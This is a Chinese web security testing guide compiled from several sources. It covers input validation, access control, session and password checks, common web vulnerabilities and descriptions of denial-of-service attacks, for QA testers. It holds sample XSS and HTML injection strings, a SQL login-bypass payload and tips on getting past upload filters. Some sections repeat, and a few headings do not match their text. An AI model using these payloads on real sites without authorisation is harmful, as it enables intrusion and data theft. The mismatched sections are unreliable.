安全性測試
安全性測試主要是測試系統(tǒng)在沒有授權(quán)的內(nèi)部或者外部用戶對系統(tǒng)進行攻擊或者惡意破壞時如何進行處理,是否仍能保證數(shù)據(jù)和頁面的安全。測試人員可以學習一些黑客技術(shù),來對系統(tǒng)進行攻擊。另外,對操作權(quán)限的測試也包含在安全性測試中。具體測試內(nèi)容如下:執(zhí)行添加、刪除、修改等動作中是否做過登錄檢測。退出系統(tǒng)之后的操作是否可以完成。所有插入表單操作中輸入特殊字符是否可以正常輸正常存儲,特殊字符為:!?#¥%……—*()~——-+=[]{}、|;:‘”?/《》<>,。在帶有參數(shù)的回顯數(shù)據(jù)的動作中更改參數(shù),把參數(shù)改為特殊字符并加入操作語句看是否出錯。測試表單中有沒有做標簽檢測,標簽檢測是否完整。在插入表單中加入特殊的HTML代碼,例如:表單中的字本是否移動?。
系統(tǒng)安全性測試的十個重要問題
1:沒有被驗證的輸入
測試方法:
數(shù)據(jù)類型(字符串,整型,實數(shù),等)
允許的字符集
最小和最大的長度
是否允許空輸入
參數(shù)是否是必須的
重復(fù)是否允許
數(shù)值范圍
特定的值(枚舉型)
特定的模式(正則表達式)
2:有問題的訪問控制
測試方法:
主要用于需要驗證用戶身份以及權(quán)限的頁面,復(fù)制該頁面的url地址,關(guān)閉該頁面以后,查看是否可以直接進入該復(fù)制好的地址;
例:從一個頁面鏈到另一個頁面的間隙可以看到URL地址,直接輸入該地址,可以看到自己沒有權(quán)限的頁面信息;
3:錯誤的認證和會話管理
分析:帳號列表:系統(tǒng)不應(yīng)該允許用戶瀏覽到網(wǎng)站所有的帳號,如果必須要一個用戶列表,推薦使用某種形式的假名(屏幕名)來指向?qū)嶋H的帳號。瀏覽器緩存:認證和會話數(shù)據(jù)作為GET的一部分來發(fā)送認證和會話數(shù)據(jù)不應(yīng)該作為GET的一部分來發(fā)送,應(yīng)該使用POST,例:對Grid、Label、Tree view類的輸入框未作驗證,輸入的內(nèi)容會按照html語法解析出來;
4:跨站腳本(XSS)
分析:攻擊者使用跨站腳本來發(fā)送惡意代碼給沒有發(fā)覺的用戶,竊取他機器上的任意資料;測試方法:
?HTML標簽:<…>…</…>
?轉(zhuǎn)義字符:&(&);<(<);>(>);?(空格);
?腳本語言:
<scrīpt language=‘javascrīpt’>…Alert(‘’)</scrīpt>
?特殊字符:‘? ’ <? >? /
?最小和最大的長度
?是否允許空輸入?例:對Grid、Label、Tree view類的輸入框未作驗證,輸入的內(nèi)容會按照html語法解析出來
5:緩沖區(qū)溢出
沒有加密關(guān)鍵數(shù)據(jù)
分析:用戶使用緩沖區(qū)溢出來破壞web應(yīng)用程序的棧,通過發(fā)送特別編寫的代碼到web程序中,攻擊者可以讓web應(yīng)用程序來執(zhí)行任意代碼。
例:view-source:http地址可以查看源代碼
在頁面輸入密碼,頁面顯示的是*****,? 右鍵,查看源文件就可以看見剛才輸入的密碼;
6:注入式漏洞
分析:用戶登錄處、不用登錄可以查看到的數(shù)據(jù)庫中的數(shù)據(jù)列表尤為重要。例:一個驗證用戶登陸的頁面,如果使用的sql語句為:
Select *? from? table A where? username=’’ + username+’’ and pass word ….
Sql 輸入
‘ or 1=1 ――
就可以不輸入任何password進行攻擊;
7:不恰當?shù)漠惓L幚?/b>
分析:程序在拋出異常的時候給出了比較詳細的內(nèi)部錯誤信息,暴露了不應(yīng)該顯示的執(zhí)行細節(jié),網(wǎng)站存在潛在漏洞;
8:不安全的存儲
沒有加密關(guān)鍵數(shù)據(jù)
分析:帳號列表:系統(tǒng)不應(yīng)該允許用戶瀏覽到網(wǎng)站所有的帳號,如果必須要一個用戶列表,推薦使用某種形式的假名(屏幕名)來指向?qū)嶋H的帳號。
瀏覽器緩存:認證和會話數(shù)據(jù)不應(yīng)該作為GET的一部分來發(fā)送,應(yīng)該使用POST;?例:view-source:http地址可以查看源代碼? ?在頁面輸入密碼,頁面不顯示?“*****”;?在頁面輸入密碼,頁面顯示的是*****,數(shù)據(jù)庫中存的密碼沒有經(jīng)過加密;地址欄中可以看到剛才填寫的密碼;右鍵查看源文件就可以看見剛才輸入的密碼;?
9:拒絕服務(wù)
分析:Config中的鏈接字符串以及用戶信息,郵件,數(shù)據(jù)存儲信息都需要加以保護。攻擊者可以從一個主機產(chǎn)生足夠多的流量來耗盡狠多應(yīng)用程序,最終使程序陷入癱瘓。需要做負載均衡來對付。
10:不安全的配置管理
分析:Config中的鏈接字符串以及用戶信息,郵件,數(shù)據(jù)存儲信息都需要加以保護
程序員應(yīng)該作的:配置所有的安全機制,關(guān)掉所有不使用的服務(wù),設(shè)置角色權(quán)限帳號,使用日志和警報。
例:數(shù)據(jù)庫的帳號是不是默認為“sa”,密碼(還有端口號)是不是直接寫在配置文件里而沒有進行加密。
軟件安全測試涉及的方面
2.用戶名和密碼
l是否設(shè)置密碼最小長度l用戶名和密碼中是否可以有空格或回車?l是否允許密碼和用戶名一致l防惡意注冊:可否用自動填表工具自動注冊用戶??l遺忘密碼處理l有無缺省的超級用戶?l有無超級密碼?l是否有校驗碼?l密碼錯誤次數(shù)有無限制?
3.直接輸入需要權(quán)限的網(wǎng)頁地址可以訪問
如:沒有登錄或注銷登錄后,直接輸入登錄后才能查看的頁面的網(wǎng)址,能直接打開頁面;? ? 注銷后,點瀏覽器上的后退,可以進行操作。正常登錄后,直接輸入自己沒有權(quán)限查看的頁面的網(wǎng)址,可以打開頁面。
5.隱藏域與CGI參數(shù)
分析:有此隱藏域中泄露了重要的信息,有時還可以暴露程序原代碼。? ???直接修改CGI參數(shù),就能繞過客戶端的驗證了。如:<input type="hidden" name="h" value="http://XXX/checkout.php">只要改變value的值就可能會把程序的原代碼顯示出來。
6.?上傳文件沒有限制
分析:上傳文件最好要有格式的限制;? ???上傳文件還要有大小的限制。
7.把數(shù)據(jù)驗證寄希望于客戶端的驗證
分析:客戶端是不安全,重要的運算和算法不要在客戶端運行。? ?? ?重要的數(shù)據(jù)(如:密碼)在客戶端應(yīng)該加密。
例:保存網(wǎng)頁并對網(wǎng)頁進行修改,使其繞過客戶端的驗證。(如只能選擇的下拉框,對輸入數(shù)據(jù)有特殊要求的文本框)
13.? ?傳輸中的密碼沒有加密
分析:傳輸中的密碼要進行加密。傳輸前加密用SSL加密,https的方式提交用戶名和密碼;如果使用tomcat做服務(wù)器的話,SSL加密只需配置就可以了:TOMCAT用https替換http的方法? ???//////////////////////////////////////////////////////////////? ???首先用java的工具keytool? ?生成一個ssl證書:? ?????keytool? ?-genkey? ?-keyalg? ?RSA? ?? ?? ?-alias? ?youraliasname? ???-keystore? ?.keystore? ?? ?? ? ??輸入keystore密碼:? ???yourpass? ???您的名字與姓氏是什么?? ?? ?? ?[Unknown]:? ???liubin? ???您的組織單位名稱是什么?? ?? ?? ?[Unknown]:? ???test? ???您的組織名稱是什么?? ?? ?? ?[Unknown]:? ???www.test.com? ???您所在的城市或區(qū)域名稱是什么?? ?? ?? ?[Unknown]:? ???beijing? ???您所在的州或省份名稱是什么?? ?? ?? ?[Unknown]:? ???beijing? ???該單位的兩字母國家代碼是什么? ?? ?? ?[Unknown]:? ???cn? ???CN=liubin,? ?OU=test,? ?O=www.test.com,? ?L=beijing,? ?ST=beijing,? ?C=cn? ?正確嗎?? ?? ?? ?[否]:? ???y? ?????輸入<CidSoftKey>的主密碼? ?? ?? ?? ?? ?? ?? ?(如果和? ?keystore? ?密碼相同,按回車):
Web應(yīng)用系統(tǒng)的安全性測試區(qū)域主要有: ? ? ? ? (1)現(xiàn)在的Web應(yīng)用系統(tǒng)基本采用先注冊,后登陸的方式。因此,必須測試有效和無效的用戶名和密碼,要注意到是否大小寫敏感,可以試多少次的限制,是否可以不登陸而直接瀏覽某個頁面等。? ? ? (2)Web應(yīng)用系統(tǒng)是否有超時的限制,也就是說,用戶登陸后在一定時間內(nèi)(例如15分鐘)沒有點擊任何頁面,是否需要重新登陸才能正常使用。? ? ? (3)為了保證Web應(yīng)用系統(tǒng)的安全性,日志文件是至關(guān)重要的。需要測試相關(guān)信息是否寫進了日志文件、是否可追蹤。 ? ? ? ? (4)當使用了安全套接字時,還要測試加密是否正確,檢查信息的完整性。 ? ? ? ? (5)服務(wù)器端的腳本常常構(gòu)成安全漏洞,這些漏洞又常常被黑客利用。所以,還要測試沒有經(jīng)過授權(quán),就不能在服務(wù)器端放置和編輯腳本的問題。
我們覺得樓上的象是測試論壇或者需要登陸的網(wǎng)站呢? 我就順著加幾條吧: ? ? 1。登陸系統(tǒng),點擊退出系統(tǒng),或者注銷,然后點擊IE的退出,看看能否再次登陸,這個對于安全也比較需要,主要測試的是退出系統(tǒng)后,對cok0kies ? ? 2。如果你的系統(tǒng),客戶端比較多,那么就要判斷一個用戶能否同時在不同的機器上登陸 ? ? 3。使用了加密的軟件,WEB系統(tǒng)運行后,加密軟件異常,包括關(guān)閉,退出,此時你的WEb系統(tǒng)安全怎么處理 ? ? 4。你的WEB系統(tǒng)的教本信息是否會反應(yīng)一些你的數(shù)據(jù)庫信息,如,當前頁面涉及了你的數(shù)據(jù)庫里的那些表啦,等等。 ?
六、安全測試
Web應(yīng)用系統(tǒng)的安全性測試區(qū)域主要有:
1、 目錄設(shè)置
Web 安全的第一步就是正確設(shè)置目錄。每個目錄下應(yīng)該有 index.html 或 main.html 頁面,這樣就不會顯示該目錄下的所有內(nèi)容。如果沒有執(zhí)行這條規(guī)則。那么選中一幅圖片,單擊鼠標右鍵,找到該圖片所在的路徑"…com/objects/images"。然后在瀏覽器地址欄中手工輸入該路徑,發(fā)現(xiàn)該站點所有圖片的列表。這可能沒什么關(guān)系。但是進入下一級目錄 "…com/objects" ,點擊 jackpot。在該目錄下有很多資料,其中有些都是已過期頁面。如果該公司每個月都要更改產(chǎn)品價格信息,并且保存過期頁面。那么只要翻看了一下這些記錄,就可以估計他們的邊際利潤以及他們?yōu)榱藸幦∫粋€合同還有多大的降價空間。如果某個客戶在談判之前查看了這些信息,他們在談判桌上肯定處于上風。
2.登錄
現(xiàn)在的Web應(yīng)用系統(tǒng)基本采用先注冊,后登陸的方式。因此,必須測試有效和無效的用戶名和密碼,要注意到是否大小寫敏感,可以試多少次的限制,是否可以不登陸而直接瀏覽某個頁面等。
3.Session
Web應(yīng)用系統(tǒng)是否有超時的限制,也就是說,用戶登陸后在一定時間內(nèi)(例如15分鐘)沒有點擊任何頁面,是否需要重新登陸才能正常使用。
4.日志文件
為了保證Web應(yīng)用系統(tǒng)的安全性,日志文件是至關(guān)重要的。需要測試相關(guān)信息是否寫進了日志文件、是否可追蹤。
5.加密
當使用了安全套接字時,還要測試加密是否正確,檢查信息的完整性。
6.安全漏洞
服務(wù)器端的腳本常常構(gòu)成安全漏洞,這些漏洞又常常被黑客利用。所以,還要測試沒有經(jīng)過授權(quán),就不能在服務(wù)器端放置和編輯腳本的問題。
目前網(wǎng)絡(luò)安全問題日益重要,特別對于有交互信息的網(wǎng)站及進行電子商務(wù)活動的網(wǎng)站尤其重要。目前我們的測試沒有涵蓋網(wǎng)站的安全性的測試,我們擬定采用工具來測定,
工具如下
SAINT------- Security Administrator’s Integrated Network Tool 此工具能夠測出網(wǎng)站系統(tǒng)的相應(yīng)的安全問題,并且能夠給出安全漏洞的解決方案,不過是一些較為常見的漏洞解決方案。
應(yīng)用系統(tǒng)安全測試方法及內(nèi)容
應(yīng)用系統(tǒng)的用戶管理、權(quán)限管理應(yīng)充分利用操作系統(tǒng)和數(shù)據(jù)庫的安全性;應(yīng)用軟件運行時須有完整的日志記錄。日志記錄的完整性檢測系統(tǒng)運行時是否會記錄完整的日志。如進行詳單查詢,檢測系統(tǒng)是否會記錄相應(yīng)的操作員、操作時間、系統(tǒng)狀態(tài)、操作事項、IP地址等。
不允許以明文方式保存用戶密碼或系統(tǒng)使用的各類密碼用戶密碼或系統(tǒng)使用的各類密碼的加密存儲檢查數(shù)據(jù)庫中的用戶密碼、操作員密碼等字段是否是以加密方式保存。
為保證安全性,口令不允許以明碼的形式顯示在輸出設(shè)備上,應(yīng)能對口令進行如下限制:最小口令長度、強制修改口令的時間間隔、口令的唯一性、口令過期失效后允許入網(wǎng)的寬限次數(shù)。1.口令不允許以明碼顯示在輸出設(shè)備上。
2.最小口令長度的限制。
3.強制修改的時間間隔限制。
4.口令的唯一性限制。
5.口令過期失效后允許入網(wǎng)的寬限次數(shù)限制
實際登錄系統(tǒng),輸入相應(yīng)的口令,檢測口令是否是以加密形式顯示,同時檢測最小口令長度、強制修改口令的時間間隔、口令的唯一性、口令過期失效后允許入網(wǎng)的寬限次數(shù)。
應(yīng)用系統(tǒng)應(yīng)支持操作失效時間的配置,當操作員在所配置的時間內(nèi)沒有對界面進行任何操作則該應(yīng)用自動失效。1.支持操作失效時間的配置。
2.支持當操作員在所配置的時間內(nèi)沒有對界面進行任何操作則該應(yīng)用自動失效。
檢測系統(tǒng)是否支持操作失效時間的配置,同時達到所配置的時間內(nèi)沒有對界面進行任何操作時,檢測系統(tǒng)是否會將用戶自動失效,需要重新登錄系統(tǒng)。
應(yīng)用系統(tǒng)應(yīng)提供完善的審計功能,對系統(tǒng)關(guān)鍵數(shù)據(jù)的每一次增加、修改和刪除都能記錄相應(yīng)的修改時間、操作人和修改前的數(shù)據(jù)記錄。支持系統(tǒng)關(guān)鍵數(shù)據(jù)進行維護的記錄功能。檢測對系統(tǒng)關(guān)鍵數(shù)據(jù)進行增加、修改和刪除時,系統(tǒng)是否會記錄相應(yīng)的修改時間、操作人員和修改前的數(shù)據(jù)記錄。
應(yīng)用程序的源代碼不允許放在運行主機上,應(yīng)另行存放,并具有版本控制能力。1.應(yīng)用程序的源代碼不允許放在運行主機上,應(yīng)另行存放。
2.版本控制
1.登錄主機審查應(yīng)用程序的源代碼存放位置。
2.查看支撐系統(tǒng)版本控制管理辦法或相似文件,是否有相應(yīng)的版本管理規(guī)章制度;軟件升級、補丁植入流程管理是否合理。
3.查看系統(tǒng)軟件版本記錄文件及軟件介質(zhì)與軟件操作手冊,是否有詳細的軟件版本號、軟件升級與補丁植入情況的記錄。
各應(yīng)用軟件目錄設(shè)置及其訪問權(quán)限應(yīng)有相應(yīng)的規(guī)范,以保證系統(tǒng)的安全性和可維護性。各應(yīng)用軟件目錄設(shè)置及其訪問權(quán)限應(yīng)有相應(yīng)的規(guī)范。審查是否有各應(yīng)用軟件目錄設(shè)置及其訪問權(quán)限相應(yīng)的規(guī)范文件。
接口程序連接登錄必須進行認證(根據(jù)用戶名、密碼認證)支持接口程序連接登錄時的認證。實際運行系統(tǒng),檢測接口程序連接登錄時,是否需要輸入相應(yīng)的用戶名、密碼進行認證。
安全性測試
1、功能驗證
功能驗證是采用軟件測試當中的黑盒測試方法,對涉及安全的軟件功能,如:用戶管理模塊,權(quán)限管理模塊,加密系統(tǒng),認證系統(tǒng)等進行測試,主要驗證上述功能是否有效,具體方法可使用黑盒測試方法。
2、漏洞掃描
安全漏洞掃描通常都是借助于特定的漏洞掃描器完成的。漏洞掃描器是一種自動檢測遠程或本地主機安全性弱點的程序。通過使用漏洞掃描器,系統(tǒng)管理員能夠發(fā)現(xiàn)所維護信息系統(tǒng)存在的安全漏洞,從而在信息系統(tǒng)網(wǎng)絡(luò)安全保衛(wèi)站中做到“有的放矢”,及時修補漏洞。按常規(guī)標準,可以將漏洞掃描分為兩種類型:主機漏洞掃 描器(Host Scanner)和網(wǎng)絡(luò)漏洞掃描器(Net Scanner)。主機漏洞掃描器是指在系統(tǒng)本地運行檢測系統(tǒng)漏洞的程序,如著名的COPS、Tripewire、Tiger等自由軟件。網(wǎng)絡(luò)漏洞掃描器 是指基于網(wǎng)絡(luò)遠程檢測目標網(wǎng)絡(luò)和主機系統(tǒng)漏洞的程序,如Satan、ISS Internet Scanner等。
安全漏洞掃描是可以用于日常安全防護,同時可以作為對軟件產(chǎn)品或信息系統(tǒng)進行測試的手段,可以在安全漏洞造成嚴重危害前,發(fā)現(xiàn)漏洞并加以防范。
3、模擬攻擊實驗
對于安全測試來說,模擬攻擊測試是一組特殊的黑盒測試案例,我們以模擬攻擊來驗證軟件或信息系統(tǒng)的安全防護能力,下面簡要列舉在數(shù)據(jù)處理與數(shù)據(jù)通信環(huán)境中特別關(guān)心的幾種攻擊。在下列各項中,出現(xiàn)了“授權(quán)”和“非授權(quán)”兩個術(shù)語。“授權(quán)”意指“授予權(quán)力”,包含兩層意思:這里的權(quán)力是指進行某種活動的權(quán)力(例如訪問數(shù) 據(jù));這樣的權(quán)力被授予某個實體、代理人或進程。于是,授權(quán)行為就是履行被授予權(quán)力(未被撤銷)的那些活動。
● 冒充:就是一個實體假裝成一個不同的實體。冒充常與某些別的主動攻擊形式一起使用,特別是消息的重演與篡改。例如,截獲鑒別序列,并在一個有效的鑒別序列使用過一次后再次使用。特權(quán)很少的實體為了得到額外的特權(quán),可能使用冒充成具有這些特權(quán)的實體,舉例如下。
1) 口令猜測:一旦黑客識別了一臺主機,而且發(fā)現(xiàn)了基于NetBIOS、Telnet或NFS服務(wù)的可利用的用戶帳號,并成功地猜測出了口令,就能對機器進行控制。
2) 緩沖區(qū)溢出:由于在很多地服務(wù)程序中大意的程序員使用類似于“strcpy(),strcat()”不進行有效位檢查的函數(shù),最終可能導致惡意用戶編寫一 小段程序來進一步打開安全缺口,然后將該代碼放在緩沖區(qū)有效載荷末尾,這樣,當發(fā)生緩沖區(qū)溢出時,返回指針指向惡意代碼,執(zhí)行惡意指令,就可以得到系統(tǒng)的 控制權(quán)。
● 重演:當一個消息或部分消息為了產(chǎn)生非授權(quán)效果而被重復(fù)時,出現(xiàn)重演。例如,一個含有鑒別信息的有效消息可能被另一個實體所重演,目的是鑒別它自己(把它當作其他實體)。
●消息篡改:數(shù)據(jù)所傳送的內(nèi)容被改變而未被發(fā)覺,并導致非授權(quán)后果,如下所示。
1) DNS高速緩存污染:由于DNS服務(wù)器與其他名稱服務(wù)器交換信息的時候并不進行身份驗證,這就使得黑客可以加入不正確得信息,并把用戶引向黑客自己的主機。
2) 偽造電子郵件:由于SMTP并不對郵件發(fā)送者的身份進行鑒定,因此黑客可以對內(nèi)部客戶偽造電子郵件,聲稱是來自某個客戶認識并相信的人,并附上可安裝的特洛伊木馬程序,或者是一個指向惡意網(wǎng)站的鏈接。
● 服務(wù)拒絕:當一個實體不能執(zhí)行它的正常功能,或它的動作防礙了別的實體執(zhí)行它們的正常功能的時候,便發(fā)生服務(wù)拒絕。這種攻擊可能是一般性的,比如一個實體抑制所有的消息,也可能是有具體目標的。例如,一個實體抑制所有流向某一特定目的端的消息,如安全審計服務(wù)。這種攻擊可以是對通信業(yè)務(wù)流的抑制,或產(chǎn)生額外的通信業(yè)務(wù)流。也可能制造出試圖破壞網(wǎng)絡(luò)操作的消息,特別是如果網(wǎng)絡(luò)具有中繼實體,這些中繼實體根據(jù)從別的中繼實體那里接收到的狀態(tài)報告,來做出路由選擇的決定。拒絕服務(wù)攻擊種類很多,舉例如下。
1)死亡之ping(ping of death):由于在早期的階段,路由器對包的最大尺寸都有限制,許多操作系統(tǒng)對TCP/IP棧的實現(xiàn)在ICMP包上都規(guī)定為64KB,并且在讀取包的標題后,要根據(jù)該標題頭里包含的信息來為有效載荷生成緩沖區(qū)。當產(chǎn)生畸形的、聲稱自己的尺寸超過ICMP上限,也就是加載尺寸超過64K上限的包時,就會出 現(xiàn)內(nèi)存分配錯誤,導致TCP/IP堆棧崩潰,致使接受方宕機。
2) 淚滴(Teardorop):淚滴攻擊利用那些在TCP/IP堆棧實現(xiàn)中信任IP碎片中的包的標題頭所包含的信息來實現(xiàn)自己的攻擊。IP分段含有指示該分段所包含的是原包的哪一段的信息,某些TCP/IP(包括Service Pack 4以前的NT)在收到含有重疊偏移的偽造分段時將崩潰。
3) UDP洪水(UDP Flood): 各種各樣的假冒攻擊利用簡單的TCP/IP服務(wù),如Chargen和Echo來傳送毫無用處的數(shù)據(jù)以占滿帶寬。通過偽造與某一主機的Chargen服務(wù)之間的一次的UDP連接,回復(fù)地址指向開著Echo服務(wù)的一臺主機,這樣就生成在兩臺主機之間的足夠多的無用數(shù)據(jù)流,如果數(shù)據(jù)流足夠多,就會導致帶寬的服務(wù)攻擊。
4) SYN洪水(SYN Flood):一些TCP/IP棧的實現(xiàn),只能等待從有限數(shù)量的計算機發(fā)來的ACK消息,因為它們只有有限的內(nèi)存緩沖區(qū)用于創(chuàng)建連接,如果這一緩沖區(qū)充滿 了虛假連接的初始信息,該服務(wù)器就會對接下來的連接請求停止響應(yīng),直到緩沖區(qū)里的連接企圖超時為止。在一些創(chuàng)建連接不受限制的實現(xiàn)里,SYN洪水也具有類 似的影響。
5) Land攻擊:在Land攻擊中,一個特別打造的SYN包的原地址和目標地址都被設(shè)置成某一個服務(wù)器地址,這將導致接受服務(wù)器向它自己的地址發(fā)送SYN- ACK消息,結(jié)果,這個地址又發(fā)回ACK消息并創(chuàng)建一個空連接,每一個這樣的連接都將保留,直到超時。各種系統(tǒng)對Land攻擊的反應(yīng)不同,許多UNIX實 現(xiàn)將崩潰,NT變得極其緩慢(大約持續(xù)5分鐘)。
6)?Smurf攻擊:一個簡單的Smurf攻擊,通過使用將回復(fù)地址設(shè)置成受害網(wǎng)絡(luò)的廣播地址的ICMP應(yīng)答請求(ping)數(shù)據(jù)包,來淹沒受害主機的方式進 行,最終導致該網(wǎng)絡(luò)的所有主機都對此ICMP應(yīng)答請求作出答復(fù),導致網(wǎng)絡(luò)阻塞,比“Ping of Death”洪水的流量高出一個或兩個數(shù)量級。更加復(fù)雜的Smurf將源地址改為第三方的受害者,最終導致第三方雪崩。
7) Fraggle攻擊:Fraggle攻擊對Smurf攻擊作了簡單的修改,使用的是UDP應(yīng)答消息,而非ICMP。
8) 電子郵件炸彈:電子郵件炸彈是最古老的匿名攻擊之一,通過設(shè)置一臺機器,不斷大量地向同一地址發(fā)送電子郵件,攻擊者能夠耗盡接收者網(wǎng)絡(luò)的帶寬。
9) 畸形消息攻擊:各類操作系統(tǒng)上的許多服務(wù)都存在此類問題,由于這些服務(wù)在處理信息之前沒有進行適當正確的錯誤校驗,在收到畸形的信息時可能會崩潰。
●內(nèi)部攻擊:當系統(tǒng)的合法用戶以非故意或非授權(quán)方式進行動作時就成為內(nèi)部攻擊。多數(shù)已知的計算機犯罪都和使系統(tǒng)安全遭受損害的內(nèi)部攻擊有密切的關(guān)系。能用來防止內(nèi)部攻擊的保護方法包括:所有管理數(shù)據(jù)流進行加密;利用包括使用強口令在內(nèi)的多級控制機制和集中管理機制來加強系統(tǒng)的控制能力;為分布在不同場所的業(yè)務(wù)部門劃分VLAN,將數(shù)據(jù)流隔離在特定部門;利用防火墻為進出網(wǎng)絡(luò)的用戶提供認證功能,提供訪問控制保護;使用安全日志記錄網(wǎng)絡(luò)管理數(shù)據(jù)流等。
● 外部攻擊:外部攻擊可以使用的方法有:搭線(主動的與被動的)、截取輻射、冒充為系統(tǒng)的授權(quán)用戶、冒充為系統(tǒng)的組成部分、為鑒別或訪問控制機制設(shè)置旁路等。
● 陷阱門:當系統(tǒng)的實體受到改變,致使一個攻擊者能對命令或?qū)︻A(yù)定的事件或事件序列產(chǎn)生非授權(quán)的影響時,其結(jié)果就稱為陷阱門。例如,口令的有效性可能被修改,使得除了其正常效力之外也使攻擊者的口令生效。
● 特洛伊木馬:對系統(tǒng)而言的特洛伊木馬,是指它不但具有自己的授權(quán)功能,而且還有非授權(quán)功能。一個向非授權(quán)信道拷貝消息的中繼就是一個特洛伊木馬。典型的特洛伊木馬有NetBus、BackOrifice和BO2k等。
4、偵聽技術(shù)
偵聽技術(shù)實際上是在數(shù)據(jù)通信或數(shù)據(jù)交互過程,對數(shù)據(jù)進行截取分析的過程。目前最為流行的是網(wǎng)絡(luò)數(shù)據(jù)包的捕獲技術(shù),通常我們稱為Capture,黑客可以利用該項技術(shù)實現(xiàn)數(shù)據(jù)的盜用,而測試人員同樣可以利用該項技術(shù)實現(xiàn)安全測試。
該項技術(shù)主要用于對網(wǎng)絡(luò)加密的驗證。
安全性測試
安全性測試是有關(guān)驗證應(yīng)用程序的安全服務(wù)和識別潛在安全性缺陷的過程。此節(jié)包括一些重要的測試建議,用來驗證已創(chuàng)建安全的應(yīng)用程序。
由于攻擊者沒有闖入的標準方法,因而也沒有實施安全性測試的標準方法。另外,目前幾乎沒有可用的工具來徹底測試各個安全方面。由于應(yīng)用程序中的功能錯誤也可代表潛在的安全性缺陷,因此在實施安全性測試以前需要實施功能測試。
有一點很重要,應(yīng)注意安全性測試并不最終證明應(yīng)用程序是安全的。而是只用于驗證所設(shè)立對策的有效性,這些對策是基于威脅分析階段所做的假設(shè)而選擇的。
下面提供測試應(yīng)用程序安全性的一些建議。
測試緩沖區(qū)溢出
緩沖區(qū)溢出是計算機歷史中被利用的第一批安全錯誤之一。目前,緩沖區(qū)溢出繼續(xù)是最危險也是最常發(fā)生的弱點之一。試圖利用這種脆弱性可以導致種種問題,從損壞應(yīng)用程序到攻擊者在應(yīng)用程序進程中插入并執(zhí)行惡意代碼。
將數(shù)據(jù)寫入緩沖區(qū)時,開發(fā)人員向緩沖區(qū)寫入的數(shù)據(jù)不能超出其所能存放的數(shù)據(jù)。如果正在寫入的數(shù)據(jù)量超出已分配的緩沖區(qū)空間,將發(fā)生緩沖區(qū)溢出。當發(fā)生緩沖區(qū)溢出時,會將數(shù)據(jù)寫入到可能為其他用途而分配的內(nèi)存部分中。最壞的情形是緩沖區(qū)溢出包含惡意代碼,該代碼隨后被執(zhí)行。緩沖區(qū)溢出在導致安全脆弱性方面所占的百分比很大。
實施源代碼安全檢查
根據(jù)所討論應(yīng)用程序的敏感程度,實施對應(yīng)用程序源代碼的安全審核可能是明智的。不要將源代碼審核與代碼檢查相混淆。標準代碼檢查的目的是識別影響代碼功能的一般代碼缺陷。源代碼安全檢查的目的則是識別有意或無意的安全性缺陷。開發(fā)處理財政事務(wù)或提供公共安全的應(yīng)用程序時尤其應(yīng)保證進行這種檢查。
驗證應(yīng)急計劃
總是存在應(yīng)用程序的安全防御被突破的潛在可能,只有應(yīng)急計劃就位并有效才是明智的。在應(yīng)用程序服務(wù)器或數(shù)據(jù)中心檢測到病毒時將采取哪些步驟?安全性被越過時,必須迅速作出反應(yīng)來防止進一步損壞。在應(yīng)急計劃投入實戰(zhàn)以前請弄清它們是否起作用。
攻擊您的應(yīng)用程序
測試人員習慣于攻擊應(yīng)用程序以試圖使其失敗。攻擊您自己的應(yīng)用程序是與其類似但目的更集中的過程。嘗試攻擊應(yīng)用程序時,應(yīng)尋找代表應(yīng)用程序防御弱點的、可利用的缺陷。
Web應(yīng)用程序的安全性問題依其存在的形勢劃分,種類繁多,這里不準備介紹所有的,只介紹常見、比較常見和有點常見這種級別的。我相信從Web應(yīng)用安全角度來說,會比你從網(wǎng)上搜的要全面的多。以下是這些安全性問題的列表:
1、跨站腳本攻擊(CSS or XSS, Cross Site Scripting)
2、SQL注入攻擊(SQL injection)
3、遠程命令執(zhí)行(Code execution,個人覺得譯成代碼執(zhí)行并不確切)
4、目錄遍歷(Directory traversal)
5、文件包含(File inclusion)
6、腳本代碼暴露(Script source code disclosure)
7、Http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting)
8、跨幀腳本攻擊(Cross Frame Scripting)
9、PHP代碼注入(PHP code injection)
10、XPath injection
11、Cookie篡改(Cookie manipulation)
12、URL重定向(URL redirection)
13、Blind SQL/XPath injection for numeric/String inputs
14、Google Hacking
Web Application Security Consortium(WASC)將Web應(yīng)用安全威脅分為如下六類:
?1 ??Authentication(驗證)
用來確認某用戶、服務(wù)或是應(yīng)用身份的攻擊手段。
??????2 ?Authorization(授權(quán))
用來決定是否某用戶、服務(wù)或是應(yīng)用具有執(zhí)行請求動作必要權(quán)限的攻擊手段。
??????3 ?Client-Side Attacks(客戶端攻擊)
用來擾亂或是探測Web 站點用戶的攻擊手段。
?????4 ?Command Execution(命令執(zhí)行)
在Web 站點上執(zhí)行遠程命令的攻擊手段。
?????5 ??Information Disclosure(信息暴露)
用來獲取Web 站點具體系統(tǒng)信息的攻擊手段。
??6 ?????Logical Attacks(邏輯性攻擊)
用來擾亂或是探測Web 應(yīng)用邏輯流程的攻擊手段。
建立整體的威脅模型,測試溢出漏洞、信息泄漏、錯誤處理、SQL注入、身份驗證和授權(quán)錯誤.
[if !supportLists]1.?[endif]輸入驗證
客戶端驗證服務(wù)器端驗證(禁用腳本調(diào)試,禁用Cookies)
1.輸入很大的數(shù)(如4,294,967,269),輸入很小的數(shù)(負數(shù))
2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數(shù)時有何反應(yīng)
3.輸入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.輸入中英文空格,輸入字符串中間含空格,輸入首尾空格
5.輸入特殊字符串NULL,null,0x0d 0x0a
6.輸入正常字符串
7.輸入與要求不同類型的字符,如: 要求輸入數(shù)字則檢查正值,負值,零值(正零,負零),小數(shù),字母,空值; 要求輸入字母則檢查輸入數(shù)字
8.輸入html和javascript代碼
9.對于像回答數(shù)這樣需檢驗數(shù)字正確性的測試點,不僅對比其與問題最終頁的回答數(shù),還要對回答進行添加刪除等操作后查看變化
例如:
1.輸入<html”>”gfhd</html>,看是否出錯;
2.輸入<input type=”text”?name=”user”/>,看是否出現(xiàn)文本框;
3.輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現(xiàn)提示。
關(guān)于上傳:
1.上傳文件是否有格式限制,是否可以上傳exe文件;
2.上傳文件是否有大小限制,上傳太大的文件是否導致異常錯誤,上傳0K的文件是否會導致異常錯誤,上傳并不存在的文件是否會導致異常錯誤;
3.通過修改擴展名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;
